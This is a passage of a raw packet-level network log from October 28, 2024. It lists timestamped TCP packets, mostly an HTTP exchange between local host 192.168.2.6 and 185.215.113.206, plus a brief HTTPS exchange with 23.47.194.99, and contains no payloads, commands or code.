Oct 28, 2024 02:07:49.195344925 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.195346117 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.195363045 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.195375919 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.195379972 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.195389986 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.195410967 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.195421934 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.195436001 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.195452929 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.195471048 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.195486069 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.195496082 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.195509911 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.195537090 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.195539951 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.195561886 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.195564032 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.195571899 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.195581913 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.195599079 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.195631981 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.195640087 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.195648909 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.195667028 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.195669889 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.195683002 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.195693970 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.195703983 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.195713997 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.195733070 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.195734024 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.195740938 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.195750952 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.195768118 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.195785999 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.195790052 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.195802927 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.195820093 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.195821047 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.195837975 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.195849895 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.195857048 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.195871115 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.195873022 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.195889950 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.195899963 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.195918083 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.195926905 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.195944071 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.195954084 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.195961952 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.195980072 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.195985079 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.195997000 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.196007013 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.196012974 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.196032047 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.196055889 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.196074009 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.196074963 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.196091890 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.196108103 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.196109056 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.196125031 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.196137905 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.196141958 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.196168900 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.196170092 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.196177959 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.196187019 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.196202993 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.196218967 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.196221113 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.196247101 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.196248055 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.196264029 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.196274996 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.196280956 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.196285963 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.196300030 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.196305990 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.196320057 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.196325064 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.196338892 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.196342945 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.196360111 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.196373940 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.196399927 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.196400881 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.196427107 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.196428061 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.196444988 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.196454048 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.196463108 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.196465015 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.196480036 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.196487904 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.196506023 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.196507931 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.196516037 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.196523905 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.196547985 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.196563005 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.196566105 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.196579933 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.196589947 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.196599007 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.196616888 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.196619987 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.196635962 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.196644068 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.196652889 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.196666002 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.196670055 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.196681023 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.196702003 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.196710110 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.196902037 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.196917057 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.196932077 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.196938992 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.196963072 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.196966887 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.196990967 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.197006941 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.197024107 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.197030067 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.197045088 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.197051048 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.197068930 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.197072983 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.197086096 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.197089911 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.197102070 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.197113991 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.197128057 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.197144032 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.197309017 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.197333097 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.197350979 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.197365999 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.197370052 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.197382927 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.197391987 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.197422028 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.197503090 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.197520018 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.197536945 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.197561026 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.197562933 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.197570086 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.197582006 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.197598934 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.197617054 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.197632074 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.197632074 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.197657108 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.197669983 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.197673082 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.197698116 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.197715044 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.197731972 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.197737932 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.197750092 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.197763920 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.197766066 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.197784901 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.197796106 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.197799921 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.197827101 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.197834969 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.233283043 CET	443	50005	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:49.233911037 CET	50005	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:49.233947039 CET	443	50005	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:49.234426022 CET	443	50005	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:49.234782934 CET	50005	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:49.234868050 CET	443	50005	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:49.234961033 CET	50005	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:49.237694979 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.237709999 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.237744093 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.237756014 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.237777948 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.237788916 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.237803936 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.237818956 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.237868071 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.275345087 CET	443	50005	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:49.289177895 CET	50005	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:49.311927080 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.311942101 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.311959028 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.311983109 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.311995983 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.312000036 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.312016964 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.312040091 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.312047005 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.312056065 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.312068939 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.312072992 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.312087059 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.312088966 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.312104940 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.312105894 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.312122107 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.312125921 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.312139034 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.312151909 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.312155962 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.312180996 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.312181950 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.312196970 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.312206030 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.312212944 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.312228918 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.312246084 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.312261105 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.312294960 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.312318087 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.312334061 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.312345028 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.312362909 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.312362909 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.312374115 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.312397003 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.312411070 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.312426090 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.312441111 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.312455893 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.312457085 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.312474966 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.312485933 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.312489986 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.312500000 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.312517881 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.312526941 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.312542915 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.312556028 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.312557936 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.312578917 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.312592983 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.312597990 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.312609911 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.312624931 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.312625885 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.312649012 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.312665939 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.312673092 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.312679052 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.312693119 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.312704086 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.312716961 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.312726974 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.312732935 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.312743902 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.312750101 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.312763929 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.312771082 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.312786102 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.312794924 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.312799931 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.312814951 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.312833071 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.312849998 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.312855959 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.312880993 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.312892914 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.312911034 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.312937021 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.312962055 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.312978029 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.312984943 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.312994003 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.313009024 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.313010931 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.313028097 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.313040018 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.313064098 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.313074112 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.313111067 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.313113928 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.313127041 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.313152075 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.313168049 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.313169956 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.313184977 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.313191891 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.313201904 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.313219070 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.313220024 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.313237906 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.313247919 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.313255072 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.313271046 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.313282013 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.313288927 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.313297033 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.313313007 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.313319921 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.313330889 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.313334942 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.313349009 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.313355923 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.313380957 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.313397884 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.313576937 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.313622952 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.313637972 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.313662052 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.313678026 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.313678026 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.313694954 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.313709021 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.313733101 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.313760042 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.313775063 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.313823938 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.313853979 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.313867092 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.313882113 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.313905954 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.313929081 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.313951969 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.314062119 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.314076900 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.314080954 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.314094067 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.314110041 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.314121962 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.314126968 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.314151049 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.314152956 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.314158916 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.314168930 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.314198971 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.314205885 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.314224958 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.314239025 CET	80	49967	185.215.113.206	192.168.2.6
